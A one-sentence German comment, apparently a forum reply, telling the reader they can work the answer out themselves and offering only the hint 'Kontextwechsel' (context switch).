<p>Mit ein bischen Überlegung kommt da jeder selber drauf, Stichwort Kontextwechsel.</p>